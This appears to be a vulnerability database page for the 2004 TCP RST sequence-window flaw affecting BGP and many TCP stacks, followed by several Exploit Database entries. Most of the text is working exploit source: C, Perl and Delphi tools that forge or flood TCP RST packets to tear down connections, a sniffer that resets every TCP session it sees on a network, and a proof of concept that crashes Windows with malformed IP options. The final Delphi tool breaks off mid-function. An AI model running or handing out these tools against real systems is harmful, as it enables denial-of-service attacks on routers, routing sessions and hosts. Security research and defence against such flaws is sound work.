Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
5 |
|
AV:N/AC:L/Au:N/C:N/I:N/A:P |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 291
Publication date : 2004-04-22
22h00 +00:00
Author : Paul A. Watson
EDB Verified : Yes
/*
By: Paul A. Watson
Build a TCP packet - based on tcp1.c sample code from libnet-1.1.1
COMPILE:
gcc reset-tcp.c -o reset-tcp /usr/lib/libnet.a
or
gcc -o reset-tcp reset-tcp.c -lnet
** be sure to modify the MAC addresses (enet_src/enet_dst) in the code, or you WILL have problems!
EXECUTE:
reset-tcp [interface] [src ip] [src port] [dst ip] [dst port] [window size]
EXAMPLE (and timing packets sent with /bin/date):
[root@orc BGP]# date; ./reset-tcp eth1 172.16.0.1 1 172.16.0.2 2 65536; date
Tue Dec 16 21:18:28 CST 2003
Packets sent: 8192 Sequence guess: 536805376
Packets sent: 16384 Sequence guess: 1073676288
Packets sent: 24576 Sequence guess: 1610547200
Packets sent: 32768 Sequence guess: 2147418112
Packets sent: 40960 Sequence guess: 2684289024
Packets sent: 49152 Sequence guess: 3221159936
Packets sent: 57344 Sequence guess: 3758030848
packets sent: 65535
Tue Dec 16 21:18:46 CST 2003
[root@orc BGP]#
*/
/* modified by: J. Barber A.K.A Swoop
modified to use src mac from your interface and asks for the
destination mac on the command line.
New Command-Line Example:
./reset-tcp eth1 172.16.0.1 1 172.16.0.2 2 00:01:02:03:04:05 65536
swoopafied: 3/30/04
*/
#include <libnet.h>
#include <stdio.h>
int main(int argc, char *argv[])
{
int c;
unsigned long int count=0;
unsigned long int count2=0;
unsigned long int seqguess=0;
unsigned long int seqstart=0;
unsigned long int seqincrement=0;
unsigned long int seqmax=4294967295;
u_char *cp;
libnet_t *l;
libnet_ptag_t t;
char *payload;
char * device = argv[1];
u_short payload_s;
u_long src_ip, dst_ip;
u_short src_prt, dst_prt;
char errbuf[LIBNET_ERRBUF_SIZE];
char sourceip[32] = "";
char destinationip[32] = "";
/* Change these to suit your local environment values */
/* Make enet_dst either the default gateway or destination host */
struct libnet_ether_addr *ptr_enet_src;
u_char enet_src[6];
u_char enet_dst[6];
u_char org_code[3] = {0x00, 0x00, 0x00};
/* Its only test code, so minimal checking is performed... */
if (argc<8) {
printf("TCP Reset Tool v1.2\nBy Paul Watson - Modified by J. Barber\n");
printf("Usage: %s [interface] [src ip] [src port] [dst ip] [dst port] [gateway/destination MAC]
[window size]\n",argv[0]);
printf("Example: ./reset-tcp eth1 172.16.0.1 1 172.16.0.2 2 00:01:02:03:04:05 65536\n");
exit(1);
}
strcpy(sourceip,argv[2]);
src_prt = atoi(argv[3]);
strcpy(destinationip,argv[4]);
dst_prt = atoi(argv[5]);
seqincrement= atoi(argv[7]);
seqstart= 0;
seqmax = 4294967295; /* 2^32 */
payload = NULL;
payload_s = 0;
src_ip = libnet_name2addr4(l,sourceip,LIBNET_DONT_RESOLVE);
dst_ip = libnet_name2addr4(l,destinationip,LIBNET_DONT_RESOLVE);
memset(enet_dst, 0, sizeof(enet_dst));
sscanf(argv[6], "%02X:%02X:%02X:%02X:%02X:%02X", &enet_dst[0],
&enet_dst[1], &enet_dst[2], &enet_dst[3], &enet_dst[4],
&enet_dst[5]);
l = libnet_init(LIBNET_LINK,device,errbuf);
ptr_enet_src = libnet_get_hwaddr(l);
memcpy(&enet_src[0], ptr_enet_src,6);
printf("Src MAC: %02X:%02X:%02X:%02X:%02X:%02X\n", enet_src[0], enet_src[1],enet_src[2],enet_src[3],
enet_src[4],enet_src[5]);
printf("Dst MAC: %02X:%02X:%02X:%02X:%02X:%02X\n", enet_dst[0], enet_dst[1],enet_dst[2],enet_dst[3],
enet_dst[4],enet_dst[5]);
for (seqguess=seqstart;seqguess<seqmax-seqincrement;seqguess=seqguess+seqincrement) {
count++; count2++;
if (count2==8192) { count2=0; printf("Packets sent: %lu\tSequence guess: %lu\n",count,seqguess); }
l = libnet_init(LIBNET_LINK,device,errbuf);
t = libnet_build_tcp(src_prt,dst_prt,seqguess,0x00000001,TH_RST,0,0,0,LIBNET_TCP_H,NULL,0,l,0);
t = libnet_build_tcp(src_prt,dst_prt,seqguess,0x00000001,TH_RST,0,0,0,LIBNET_TCP_H,NULL,0,l,0);
t = libnet_build_ipv4(LIBNET_IPV4_H+LIBNET_TCP_H+payload_s,0,242,0,64,IPPROTO_TCP,0,src_ip,dst_ip,NULL,0,l,0);
t = libnet_build_ethernet(enet_dst,enet_src,ETHERTYPE_IP,NULL,0,l,0);
c = libnet_write(l);
}
printf("packets sent: %i\n",count);
return (EXIT_FAILURE);
}
Exploit Database EDB-ID : 24030
Publication date : 2004-03-04
23h00 +00:00
Author : Matt Edman
EDB Verified : Yes
// source: https://www.securityfocus.com/bid/10183/info
A vulnerability in TCP implementations may permit unauthorized remote users to reset TCP sessions. This issue affects products released by multiple vendors. Exploiting this issue may permit remote attackers to more easily approximate TCP sequence numbers.
The problem is that affected implementations will accept TCP sequence numbers within a certain range of the expected sequence number for a packet in the session. This will permit a remote attacker to inject a SYN or RST packet into the session, causing it to be reset and effectively allowing denial-of-service attacks. An attacker would exploit this issue by sending a packet to a receiving implementation with an approximated sequence number and a forged source IP and TCP port.
Few factors may present viable target implementations, such as imlementations that:
- depend on long-lived TCP connections
- have known or easily guessed IP address endpoints
- have known or easily guessed TCP source ports.
Note that Border Gateway Protocol (BGP) is reported to be particularly vulnerable to this type of attack. As a result, this issue is likely to affect a number of routing platforms.
Note also that while a number of vendors have confirmed this issue in various products, investigations are ongoing and it is likely that many other vendors and products will turn out to be vulnerable as the issue is investigated further.
Other consequences may also result from this issue, such as injecting specific data in TCP sessions, but this has not been confirmed.
**Update: Microsoft platforms are also reported prone to this vulnerability. Vendor reports indicate that an attacker will require knowledge of the IP address and port numbers of the source and destination of an existent legitimate TCP connection in order to exploit this vulnerability on Microsoft platforms. Connections that involve persistent sessions, for example Border Gateway Protocol sessions, may be more exposed to this vulnerability than other TCP/IP sessions.
/******************************************************************************************
* autoRST
* Matt Edman - Baylor University
* 5/3/2004
*
* DESCRIPTION:
* Sniffs out TCP connections on a non-switched network and attempts to reset them
* by forging a RST packet in the correct window
*
* REQUIRED LIBRARIES:
* -WinPCAP 3.1beta or higher
* -WinPCAP developer's pack
*
* NOTES:
* Just make sure you have WinPCAP 3.1beta or higher installed and the appropriate
* winpcap header files downloaded and paths setup. Other than that, just start it
* up and let it do its job.
******************************************************************************************/
#include <stdio.h>
// WinPCAP includes
#include <pcap.h>
#include <remote-ext.h>
// 6 byte MAC Address
typedef struct mac_address {
u_char byte1;
u_char byte2;
u_char byte3;
u_char byte4;
u_char byte5;
u_char byte6;
}mac_address;
// 4 bytes IP address
typedef struct ip_address{
u_char byte1;
u_char byte2;
u_char byte3;
u_char byte4;
}ip_address;
// 20 bytes IP Header
typedef struct ip_header{
u_char ver_ihl; // Version (4 bits) + Internet header length (4 bits)
u_char tos; // Type of service
u_short tlen; // Total length
u_short identification; // Identification
u_short flags_fo; // Flags (3 bits) + Fragment offset (13 bits)
u_char ttl; // Time to live
u_char proto; // Protocol
u_short crc; // Header checksum
ip_address saddr; // Source address
ip_address daddr; // Destination address
// u_int op_pad; // Option + Padding -- NOT NEEDED!
}ip_header;
// 20 bytes TCP Header
typedef struct tcp_header {
u_short sport; // Source port
u_short dport; // Destination port
u_int seqnum; // Sequence Number
u_int acknum; // Acknowledgement number
u_char hlen; // Header length
u_char flags; // packet flags
u_short win; // Window size
u_short crc; // Header Checksum
u_short urgptr; // Urgent pointer...still don't know what this is...
}tcp_header;
// FUNCTION PROTOTYPES
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data);
void print_packet( u_char *pkt, int len );
void send_reset( mac_address *srcmac, ip_address *srcip, u_short sport, mac_address *destmac, ip_address *destip, u_short dport, u_int seqnum, u_int win );
u_int iptoUINT( ip_address *ip );
u_short csum (unsigned short *buf, int nwords);
// GLOBAL VARIABLES
pcap_t *adhandle; // The device handle
u_int localaddr; // Local IP Address
struct sockaddr_in *lSock; // Local socket structure
int main( int argc, char *argv[] ) {
pcap_if_t *alldevs;
pcap_if_t *d;
int inum;
int i=0;
char errbuf[PCAP_ERRBUF_SIZE];
char *localIP;
// Get the list of adapters
if ( pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1 ) {
fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
return 0;
}
// Print the list of adapters -- from Winpcap sample code
for( d = alldevs; d != NULL; d = d->next ) {
printf("%d. %s", ++i, d->name);
if ( d->description )
printf(" (%s)\n", d->description);
else
printf(" (No description available)\n");
}
printf("Enter the interface number (1-%d):",i);
scanf("%d", &inum);
// Traverse the list to the selected adapter
for( d = alldevs, i = 0; i < inum-1; d = d->next, i++);
// Get the local address
lSock = (struct sockaddr_in *)(d->addresses->addr);
localaddr = lSock->sin_addr.S_un.S_addr;
printf("%d\n", localaddr);
localIP = inet_ntoa(lSock->sin_addr);
printf("Local Addr: %s\n", localIP);
// Open the device for the capture
if ( (adhandle = pcap_open( d->name,65536, PCAP_OPENFLAG_PROMISCUOUS, 10, NULL, errbuf ) ) == NULL) {
fprintf(stderr,"\nUnable to open adapter: %s \n", d->name);
pcap_freealldevs(alldevs);
return -1;
}
printf("\nListening on %s...\n", d->description);
pcap_freealldevs(alldevs);
pcap_loop(adhandle, 0, packet_handler, NULL);
return 0;
}
// CALLBACK function...called for each received packet
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data) {
u_int ip_len;
mac_address *srcmac;
mac_address *destmac;
ip_header *iph;
tcp_header *tcph;
destmac = (mac_address *)pkt_data;
srcmac = (mac_address *)(pkt_data + 6);
iph = (ip_header *) (pkt_data + 14);
if( iph->proto == 0x06 ) { // TCP PACKETS
if( localaddr != iptoUINT( &iph->saddr ) && localaddr != iptoUINT( &iph->daddr ) ) { // Don't reset our own connection
ip_len = (iph->ver_ihl & 0xf) * 4;
tcph = (tcp_header *)(pkt_data + 14 + ip_len);
if( tcph->flags != 0x04 ) // If the RST flag is already set, no need sending another RST packet
send_reset( srcmac, &iph->saddr, tcph->sport, destmac, &iph->daddr, tcph->dport, tcph->acknum, tcph->win );
}
}
}
// Attempts to forge a RST packet and send it back to the source, resetting the TCP connection
void send_reset( mac_address *srcmac, ip_address *srcip, u_short sport, mac_address *destmac, ip_address *destip, u_short dport, u_int seqnum, u_int win ) {
u_short tcp_hdrcrc[16];
u_short ip_hdrcrc[10];
u_short tcp_tos = htons(0x06);
u_short tcp_hlen = htons(0x14);
u_short ip_tos = htons(0x0800);
ip_header iph;
tcp_header tcph;
u_char pkt[54];
printf("Attempting to Reset: %d.%d.%d.%d:%d -> %d.%d.%d.%d:%d\n", srcip->byte1, srcip->byte2, srcip->byte3, srcip->byte4, ntohs(sport),
destip->byte1, destip->byte2, destip->byte3, destip->byte4, ntohs(dport));
// Setup IP Header
iph.ver_ihl = 0x45;
iph.tos = 0x01;
iph.tlen = htons(40);
iph.identification = htons(0x0800);
iph.flags_fo = 0x0;
iph.ttl = 0xff;
iph.proto = 0x06;
iph.crc = 0x00;
iph.saddr = *destip; // swap the source & dest ips
iph.daddr = *srcip;
// Setup TCP Header
tcph.sport = dport; // swap the source & dest ports
tcph.dport = sport;
tcph.seqnum = htonl(ntohl(seqnum) + ntohs(win) - 2);
tcph.acknum = tcph.seqnum + htonl(0x1);
tcph.hlen = 0x50;
tcph.flags = 0x04;
tcph.win = win;
tcph.urgptr = 0x00;
tcph.crc = 0x00;
// Calculate the IP Header Checksum
memset(ip_hdrcrc, 0, 20);
memcpy(ip_hdrcrc, &iph, 20);
iph.crc = csum( ip_hdrcrc, 10 );
// Construct the tcp pseudo-header for checksum calculation
memset(tcp_hdrcrc, 0, 32);
memcpy(tcp_hdrcrc, &tcph, 20);
memcpy(&tcp_hdrcrc[10], &iph.saddr, 4);
memcpy(&tcp_hdrcrc[12], &iph.daddr, 4);
memcpy(&tcp_hdrcrc[14], &tcp_tos, 2);
memcpy(&tcp_hdrcrc[15], &tcp_hlen, 2);
tcph.crc = csum( tcp_hdrcrc, 16 );
// Assemble the packet
memcpy( pkt, (void *)srcmac, 6 );
memcpy( (void *)(pkt + 6), (void *)destmac, 6 );
memcpy( (void *)(pkt + 12), &ip_tos, 2);
memcpy( (void *)(pkt + 14), &iph, 20 );
memcpy( (void *)(pkt + 14 + sizeof( ip_header )), &tcph, 20 );
// Send the packet
if (pcap_sendpacket(adhandle, pkt, sizeof( pkt )) != 0)
fprintf(stderr,"\nError sending the packet: \n", pcap_geterr(adhandle));
}
// Calculates the TCP Checksum based on the helper header
u_short csum (unsigned short *buf, int nwords) {
unsigned long sum=0;
for( sum=0; nwords > 0; nwords-- )
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (u_short)~sum;
}
// Takes in an ip_address structure and returns the equivalent 4byte UINT value
u_int iptoUINT( ip_address *ip ) {
u_int ipaddr;
ipaddr = ip->byte4 | (ip->byte3 << 8);
ipaddr = ipaddr | (ip->byte2 << 16);
ipaddr = ipaddr | (ip->byte1 << 24);
return htonl(ipaddr);
}
// Display the values in the packet on the screen
void print_packet( u_char *pkt, int len ) {
int i;
printf("\tThe Packet\n------------------------------\n");
for( i = 0; i < len; i++ ) {
if(i%4==0)
printf("\n");
printf("0x%x ", pkt[i]);
}
printf("\n");
}
Exploit Database EDB-ID : 24031
Publication date : 2004-04-19
22h00 +00:00
Author : Paul A. Watson
EDB Verified : Yes
source: https://www.securityfocus.com/bid/10183/info
A vulnerability in TCP implementations may permit unauthorized remote users to reset TCP sessions. This issue affects products released by multiple vendors. Exploiting this issue may permit remote attackers to more easily approximate TCP sequence numbers.
The problem is that affected implementations will accept TCP sequence numbers within a certain range of the expected sequence number for a packet in the session. This will permit a remote attacker to inject a SYN or RST packet into the session, causing it to be reset and effectively allowing denial-of-service attacks. An attacker would exploit this issue by sending a packet to a receiving implementation with an approximated sequence number and a forged source IP and TCP port.
Few factors may present viable target implementations, such as imlementations that:
- depend on long-lived TCP connections
- have known or easily guessed IP address endpoints
- have known or easily guessed TCP source ports.
Note that Border Gateway Protocol (BGP) is reported to be particularly vulnerable to this type of attack. As a result, this issue is likely to affect a number of routing platforms.
Note also that while a number of vendors have confirmed this issue in various products, investigations are ongoing and it is likely that many other vendors and products will turn out to be vulnerable as the issue is investigated further.
Other consequences may also result from this issue, such as injecting specific data in TCP sessions, but this has not been confirmed.
**Update: Microsoft platforms are also reported prone to this vulnerability. Vendor reports indicate that an attacker will require knowledge of the IP address and port numbers of the source and destination of an existent legitimate TCP connection in order to exploit this vulnerability on Microsoft platforms. Connections that involve persistent sessions, for example Border Gateway Protocol sessions, may be more exposed to this vulnerability than other TCP/IP sessions.
#!/usr/bin/perl
#
# Rich's BGP DOS!
# version .02
# Sends out RST flood to DOS BGP Connections
#
# Requires getopts.pl and Net:RawIP (http://www.ic.al.lg.ua/~ksv/)
#
#For this to work you must do a preceding scan to figure out what the source port and sequence number should be!
#Cisco routers have a magic source port after reboot and all subsequent source ports are incremented by 1 or 512 depending on IOS
#And also find out the hops to set the ttl w/ traceroute. Per the RFC, the TTL must be 1 when it arrives at the router.
#
#
require 'getopts.pl';
use Net::RawIP;
Getopts('s:p:d:t:x');
$a = new Net::RawIP;
die "Usage $0 -s <spoofed source> -p <source port> -d <destination> -t <ttl>" unless ($opt_s && $opt_p && $opt_d && $opt_t);
$count=0;
while ($count < 4294967296) {
#Increment the count
$count=$count + 16384;
#Create IP packet!
$a->set({ ip =>
{saddr => $opt_s,
daddr => $opt_d,
ttl => $opt_t
},
#Another TCP port could be specified here to do DOSes on other TCP services. BGP is 179
tcp=> {dest => 179,
source => $opt_p,
window => 16384,
seq => $count,
rst => 1}
});
#Send it out!
$a->send;
}
Exploit Database EDB-ID : 24032
Publication date : 2004-04-19
22h00 +00:00
Author : Paul Watson
EDB Verified : Yes
source: https://www.securityfocus.com/bid/10183/info
A vulnerability in TCP implementations may permit unauthorized remote users to reset TCP sessions. This issue affects products released by multiple vendors. Exploiting this issue may permit remote attackers to more easily approximate TCP sequence numbers.
The problem is that affected implementations will accept TCP sequence numbers within a certain range of the expected sequence number for a packet in the session. This will permit a remote attacker to inject a SYN or RST packet into the session, causing it to be reset and effectively allowing denial-of-service attacks. An attacker would exploit this issue by sending a packet to a receiving implementation with an approximated sequence number and a forged source IP and TCP port.
Few factors may present viable target implementations, such as imlementations that:
- depend on long-lived TCP connections
- have known or easily guessed IP address endpoints
- have known or easily guessed TCP source ports.
Note that Border Gateway Protocol (BGP) is reported to be particularly vulnerable to this type of attack. As a result, this issue is likely to affect a number of routing platforms.
Note also that while a number of vendors have confirmed this issue in various products, investigations are ongoing and it is likely that many other vendors and products will turn out to be vulnerable as the issue is investigated further.
Other consequences may also result from this issue, such as injecting specific data in TCP sessions, but this has not been confirmed.
**Update: Microsoft platforms are also reported prone to this vulnerability. Vendor reports indicate that an attacker will require knowledge of the IP address and port numbers of the source and destination of an existent legitimate TCP connection in order to exploit this vulnerability on Microsoft platforms. Connections that involve persistent sessions, for example Border Gateway Protocol sessions, may be more exposed to this vulnerability than other TCP/IP sessions.
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24032.tgz
Exploit Database EDB-ID : 24033
Publication date : 2004-04-22
22h00 +00:00
Author : K-sPecial
EDB Verified : Yes
source: https://www.securityfocus.com/bid/10183/info
A vulnerability in TCP implementations may permit unauthorized remote users to reset TCP sessions. This issue affects products released by multiple vendors. Exploiting this issue may permit remote attackers to more easily approximate TCP sequence numbers.
The problem is that affected implementations will accept TCP sequence numbers within a certain range of the expected sequence number for a packet in the session. This will permit a remote attacker to inject a SYN or RST packet into the session, causing it to be reset and effectively allowing denial-of-service attacks. An attacker would exploit this issue by sending a packet to a receiving implementation with an approximated sequence number and a forged source IP and TCP port.
Few factors may present viable target implementations, such as imlementations that:
- depend on long-lived TCP connections
- have known or easily guessed IP address endpoints
- have known or easily guessed TCP source ports.
Note that Border Gateway Protocol (BGP) is reported to be particularly vulnerable to this type of attack. As a result, this issue is likely to affect a number of routing platforms.
Note also that while a number of vendors have confirmed this issue in various products, investigations are ongoing and it is likely that many other vendors and products will turn out to be vulnerable as the issue is investigated further.
Other consequences may also result from this issue, such as injecting specific data in TCP sessions, but this has not been confirmed.
**Update: Microsoft platforms are also reported prone to this vulnerability. Vendor reports indicate that an attacker will require knowledge of the IP address and port numbers of the source and destination of an existent legitimate TCP connection in order to exploit this vulnerability on Microsoft platforms. Connections that involve persistent sessions, for example Border Gateway Protocol sessions, may be more exposed to this vulnerability than other TCP/IP sessions.
use Net::RawIP;
## Kreator -> K-sPecial [http://xzziroz.freeshell.org]
## Date -> 4-23-2004
## Name -> Kreset.pl
## Version -> 1.0
##
## Use -> Used to reset a TCP connecting.
## (Using the slipping throught he window meathod described on 4-20-04)
## DESCRIBED HERE: http://www.uniras.gov.uk/vuls/2004/236929/index.htm
##
## Usage -> If you don't fuckin know how to use it, don't use it.
##
## Other -> I played around on nix for a few hours to get the idea down
## pat. I set up an IRCD and connected to it, looked at tcpdump to
## get irssi's local port. irssi's window size was larger so I figured
## i would pretend to be sending RST from server, irssi window
## was around
## 30K while ircd window around 3K, big difference :D. So I enter values
## and since the connection is loop back, i used 0.0 seconds between
## packets.
## it only took a few minutes to disconnect with a 0.0 overlay and
## a 30K window starting at sequence number 0. Only problem over
## the internet, is finding the port of each side, sure you know the
## servers port but not the clients. I got to sequence number 1512500
## using a .10 second delay and a window size of 2500. Sequence
## numbers are
## 32 bit numbers, 32 1's comes out to be 4294967295.
## Do the math, and you know precisely how long it takes to cover
## every sequence RANGE of a given port using a given window size.
## Window sizes should be based on application layer program.
##
## NOTE -> This script assumes you know at least one of the ports,
## if the case is otherwise
## then the script can easily be modified to work around this. Also,
## this was written for
## UNIX variants.
print <<EOF;
-> Kreset.pl by K-sPecial [4-23-2004]
-> Used to reset a connection based on the slipping
-> through the window meathod, exploited publicly on 4-20-2004.
-> [http://xzziroz.freeshell.org]
-> Greets: K-sPecial (myself), saevio, attila, zeedo, uzimonkey
-> eightball, unmanarc, Buuyo^, and whomever else I forgot.
EOF
print "\r\nDo you want a port range for the source IP, or the dest IP?";
print "\r\nIf you want it for the source, type 1, otherwise 2.";
print "\r\nIf you don't want it for either, type one or the other: ";
chomp (my $choice = <STDIN>);
unless ($choice == 1 || $choice == 2) {
print "\r\nEnter 1, or 2.\r\n";
exit(1);
}
print "\r\nEnter source IP: ";
chomp (my $sip = <STDIN>);
if ($choice == 2) {
print "\r\nEnter source port: ";
chomp ($sport = <STDIN>);
if (!($sport)) {
print "\r\nYou must fill in a source port.\r\n";
}
}
print "\r\nEnter dest IP: ";
chomp (my $dip = <STDIN>);
if ($choice == 1) {
print "\r\nEnter dest port: ";
chomp ($dport = <STDIN>);
if (!($dport)) {
print "\r\nYou must fill in a destination port.\r\n";
exit(1);
}
}
print "\r\nEnter begin port: ";
chomp (my $bport = <STDIN>);
print "\r\nEnter end port: ";
chomp (my $eport = <STDIN>);
if (!($sip) || !($dip) || !($bport) || !($eport)) {
print "\r\nYou forgot to fill in one or more fields.\r\n";
exit(1); ## Yea hahah we don't exit (0) anymore. LOL
}
print "\r\nDestinations guessed window size,";
print "\r\nIf you don't define this, we will try small (2500): ";
chomp (my $winsize = <STDIN>); ## Why did the window cross the road?
if (!($winsize)) {
$winsize = 2500;
}
print "\r\nStarting sequence number,";
print "\r\nIf you don't define this, we will start at 0: ";
chomp (my $seqnum = <STDIN>); ## So he could prevent sequence numbers
if (!($seqnum)) { ## from getting through!
$seqnum = 0;
}
print "\r\nNumber of seconds to wait between each packet sent,";
print "\r\nENTER DOTTED DECIMALS HERE PRECEEDED BY A 0 TO";
print "\r\nINDICATE NO MINUTES: 0.10 == 10 ms, 0.0 = 0 ms";
print "\r\nIf you don't define this, we will use 0.10: ";
chomp (my $ms = <STDIN>);
if (!($ms)) {
$ms = "0.10";
}
print <<EOF;
Source IP is -> $sip
Source port is -> $sport
Destination IP is -> $dip
Guessed window size is -> $winsize
Starting sequence number is -> $seqnum
Loop wait is -> $ms
Begin port is -> $bport
End port is -> $eport
EOF
print "Destination port is -> $dport\r\n" if $dport;
print "Source port is -> $sport\r\n" if $sport;
print "\r\n";
my $i = $seqnum;
## LOOKS WHATS FOLLOWS! WES ARES SO LEETS WITHS OURS SELECTS TRICKSES!
## P.S K-sPecial's hopes yours usings a nix variants or this selects
## tricks just mights nots works.
for ($i; 1; $i += $winsize) {
if ($i > 4294967295) {
$bport++;
if ($bport > $eport) {
print "Finished\r\n";
exit(0);
}
else {
print "Looping next port.\r\n";
$i = $seqnum;
sleep(2);
next;
}
}
if ($choice == 2) {
$dport = $bport;
}
else {
$sport = $bport;
}
select(undef, undef, undef, $ms);
print "Sequence Number is -> $i port is -> $bport\r\n";
$a = new Net::RawIP;
$a->set({ip => {saddr => "$sip",daddr => "$dip"},
tcp => {source => $sport,dest => $dport,rst => 1,
syn => 1, seq => $i}}) ;
$a->send;
}
Exploit Database EDB-ID : 942
Publication date : 2005-04-16
22h00 +00:00
Author : Yuri Gushin
EDB Verified : Yes
/* ecl-winipdos.c - 16/04/05
* Yuri Gushin <
[email protected]>
* Alex Behar <
[email protected]>
*
* This one was actually interesting, an off-by-one by our beloved
* M$ :)
*
* When processing an IP packet with an option size (2nd byte after
* the option) of 39, it will crash - since the maximum available
* size is 40 for the whole IP options field, and two are already used:
* [ OPT ] [ SIZE ] [ 38 more bytes ]
* Checks are done to validate that the option-size field is less than
* 40, where a value less than !39! should be checked for validation.
*
* Note that this doesn't affect ALL options, and is also dependant upon
* the underlying protocol.
* Anyways, a small PoC to see how it works and why, tweak test and
* explore, have fun :)
*
*
* Greets fly out to the ECL crew, Valentin Slavov, blexim, stranger,
* manevski, elius, shrink, Evgeny Pinchuk, Ishay Sommer, and anyone else
* who got left out :D
*
*/
#ifndef _BSD_SOURCE
#define _BSD_SOURCE
#endif
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <libnet.h>
#define IP_H 20
#define IPOPTS_MAX 40
void banner();
void usage(char *);
int main(int argc, char **argv)
{
char errbuf[LIBNET_ERRBUF_SIZE];
libnet_t *l;
char *device = NULL;
int c;
u_char *buf;
int packet_len = 0;
struct ip *IP;
struct tcphdr *TCP;
u_int32_t src = 0, dst = 0;
banner();
if (argc < 4) usage(argv[0]);
if ((l = libnet_init(LIBNET_RAW4, device, errbuf)) == NULL) {
fprintf(stderr, "libnet_init() failed: %s", errbuf);
exit(-1);
}
if ((src = libnet_name2addr4(l, argv[1], LIBNET_RESOLVE)) == -1) {
fprintf(stderr, "Unresolved source address\n");
exit(-1);
}
if ((dst = libnet_name2addr4(l, argv[2], LIBNET_RESOLVE)) == -1) {
fprintf(stderr, "Unresolved destination address\n");
exit(-1);
}
if ( (buf = malloc(IP_MAXPACKET)) == NULL ) {
perror("malloc");
exit(-1);
}
buf[20] = atoi(argv[3]);
buf[21] = 39; // our malformed size
for (c = 0; c<38; c+=3)
strncpy(&buf[22+c], "ECL", 3); // padding
TCP = (struct tcphdr *)(buf + IP_H + IPOPTS_MAX);
TCP->th_off = 5;
packet_len = IP_H + IPOPTS_MAX + (TCP->th_off << 2);
srand(time(NULL));
IP = (struct ip *) buf;
IP->ip_v = 4; /* version 4 */
IP->ip_hl = 5 + (IPOPTS_MAX / 4);/* 60 byte header */
IP->ip_tos = 0; /* IP tos */
IP->ip_len = htons(packet_len); /* total length */
IP->ip_id = rand(); /* IP ID */
IP->ip_off = htons(0); /* fragmentation flags */
IP->ip_ttl = 64; /* time to live */
IP->ip_p = IPPROTO_TCP; /* transport protocol */
IP->ip_sum = 0;
IP->ip_src.s_addr = src;
IP->ip_dst.s_addr = dst;
TCP->th_sport = htons(1337);
TCP->th_dport = htons(80);
TCP->th_seq = 0;
TCP->th_ack = 0;
TCP->th_x2 = 0;
TCP->th_flags = TH_SYN;
TCP->th_win = rand() & 0xffff;
TCP->th_sum = 0;
TCP->th_urp = 0;
libnet_do_checksum(l, (u_int8_t *)buf, IPPROTO_TCP, TCP->th_off << 2);
if ((c = libnet_write_raw_ipv4(l, buf, packet_len)) == -1)
{
fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
exit(-1);
}
printf("Packet sent.\n");
libnet_destroy(l);
free(buf);
return (0);
}
void usage(char *cmd)
{
printf("Usage: %s <source> <destination> <option>\n",cmd);
exit(-1);
}
void banner()
{
printf("\t\tWindows malformed IP Options DoS exploit\n"
"\t\t Yuri Gushin <
[email protected]>\n"
"\t\t Alex Behar <
[email protected]>\n"
"\t\t\t ECL Team\n\n\n");
}
// milw0rm.com [2005-04-17]
Exploit Database EDB-ID : 276
Publication date : 2004-04-21
22h00 +00:00
Author : Aphex
EDB Verified : Yes
{
AFX TCP Reset by Aphex
http://www.iamaphex.cjb.net
[email protected]
Compile with Delphi 5/6/7
}
program Project1;
{$APPTYPE CONSOLE}
uses
Windows;
type
TBufferArray = array[0..65535] of byte;
type
iph = record
ip_verlen: byte;
ip_tos: byte;
ip_len: word;
ip_id: word;
ip_offset: word;
ip_ttl: byte;
ip_protocol: byte;
ip_checksum: word;
ip_saddr: longword;
ip_daddr: longword;
end;
tcph = record
th_sport: word;
th_dport: word;
th_seq: longword;
th_ack: longword;
th_len: byte;
th_flags: byte;
th_win: word;
th_checksum: word;
th_upr: word;
end;
sb = packed record
sb1, sb2, sb3, sb4: char;
end;
sw = packed record
sw1, sw2: word;
end;
TInAddr = record
case integer of
0: (ssb: sb);
1: (ssw: sw);
2: (saddr: longint);
end;
TSockAddr = record
case integer of
0: (sin_family: word; sin_port: word; sin_addr: TInAddr; sin_zero: array[0..7] of char);
1: (sa_family: word; sa_data: array[0..13] of char)
end;
TWSAData = record
ver: Word;
hgh: Word;
dsc: array[0..256] of char;
sys: array[0..128] of char;
skt: Word;
udp: Word;
ven: PChar;
end;
function closesocket(sk: integer): integer; stdcall; external 'WS2_32.DLL' name 'closesocket';
function htons(hs: word): word; stdcall; external 'WS2_32.DLL' name 'htons';
function htonl(hs: longint): longint; stdcall; external 'WS2_32.DLL' name 'htonl';
function ntohl(hs: longint): longint; stdcall; external 'WS2_32.DLL' name 'htonl';
function inet_addr(cp: pchar): longint; stdcall; external 'WS2_32.DLL' name 'inet_addr';
function sendto(sk: integer; var bf; ln, fl: integer; var ad: TSockAddr; le: integer):
integer; stdcall; external 'WS2_32.DLL' name 'sendto';
function setsockopt(sk: integer; lv, op: integer; ov: PChar; ol: integer): integer;
stdcall; external 'WS2_32.DLL' name 'setsockopt';
function socket(af, st, pr: integer): integer; stdcall; external 'WS2_32.DLL' name 'socket';
function WSACleanup: integer; stdcall; external 'WS2_32.DLL' name 'WSACleanup'
function WSAGetLastError: integer; stdcall; external 'WS2_32.DLL' name 'WSAGetLastError';
function WSAStartup(vr: word; var ws: TWSAData): integer; stdcall; external 'WS2_32.DLL' name 'WSAStartup';
const
INVALID_SOCKET = integer(not(0));
var
hSocket: integer;
WindowPos: int64;
WindowCount: dword;
WindowSize: dword;
TargetHost: string;
TargetPort: word;
SourceHost: string;
SourcePort: word;
Odds: dword;
Delay: dword;
function CheckSum(var Buffer; Size: integer): word;
type
TWordArray = Array[0..1] of word;
var
lSumm: LongWord;
